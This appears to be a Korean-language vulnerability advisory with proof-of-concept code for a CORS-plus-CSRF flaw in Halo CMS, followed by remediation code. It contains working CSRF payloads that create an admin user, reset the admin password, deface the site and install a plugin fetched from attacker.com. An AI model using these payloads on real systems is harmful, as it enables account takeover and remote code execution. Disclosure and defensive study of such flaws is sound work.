
Halo CMS에서 CORS 설정 오류와 CSRF 보호 우회를 결합하여 교차 사이트 요청 위조 공격으로 관리자 사용자 생성, 비밀번호 변경, 플러그인 설치, 콘텐츠 수정을 가능하게 하는 개념 증명입니다.
Halo CMS 2.25.4 이하 버전에는 두 가지 보안 오설정으로 인한 심각한 결합 공격 취약점이 존재합니다:
credentials: true와 함께 *(모든 오리진)을 허용합니다./api/**, /apis/**)가 CSRF 보호에서 제외됩니다.이 두 가지가 결합되면, 공격자는 CORS가 강제하도록 설계된 Same-Origin Policy 보호를 우회하여 모든 오리진에서 Cross-Site Request Forgery 공격을 수행할 수 있습니다.
CVSS v3.1 점수: 9.3 (치명적)
CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (교차 사이트 요청 위조) + CWE-942 (허용적인 교차 도메인 정책)
CVE ID: CVE-2026-67921
파일: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← 모든 오리진
configuration.setAllowCredentials(true); // ← 쿠키 허용
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
영향: 모든 웹사이트가 사용자의 쿠키를 사용하여 Halo의 API에 인증된 요청을 보낼 수 있습니다.
파일: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← API 라우트가 CSRF에서 제외됨!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
영향: 세션 쿠키로 인증된 경우에도 API 요청에 CSRF 토큰이 필요하지 않습니다.
| 보호 조치 | 단독 적용 시 | 결합 시 |
|---|---|---|
CORS * | 자격 증명 차단 (브라우저가 강제) | 자격 증명 허용! |
| CSRF 없음 | Same-Origin Policy가 보호 | CORS로 우회됨! |
| 결과 | 안전 | 완전한 CSRF |
┌─────────────────────────────────────────────────────────────┐
│ 공격자가 evil.com에 악성 페이지 호스팅 │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 피해자의 브라우저가 evil.com 방문 │
│ → 폼이 Halo API로 자동 제출 │
│ → 브라우저가 세션 쿠키를 자동으로 포함 │
│ → CORS: Origin * + credentials: true → 요청 허용! │
│ → CSRF: /apis/** 제외 → 토큰 불필요! │
│ → 피해자의 권한으로 요청 성공 │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// 사이트 제목 변경
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
csrf-test.html 생성:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>이 페이지는 로드 시 Halo 설정을 수정하려 시도합니다.</p>
<script>
// 사이트 제목을 수정하여 CSRF 테스트
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">SUCCESS! CSRF attack worked.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Failed: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html을 엽니다.Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| 공격 | 영향 | 심각도 |
|---|---|---|
| 관리자 사용자 생성 | 전체 시스템 장악 | 치명적 |
| 관리자 비밀번호 변경 | 계정 탈취 | 치명적 |
| 악성 플러그인 설치 | 원격 코드 실행 | 치명적 |
| 콘텐츠 수정 | 웹사이트 변조 | 높음 |
| 데이터 삭제 | 데이터 손실 | 높음 |
| 데이터 탈취 | 정보 공개 | 높음 |
// 와일드카드를 특정 오리진으로 교체
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// CSRF 매처에서 API 제외 항목 제거
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
API 엔드포인트의 경우 CSRF에 취약한 세션 쿠키 대신 Bearer 토큰 인증을 사용하는 것이 좋습니다.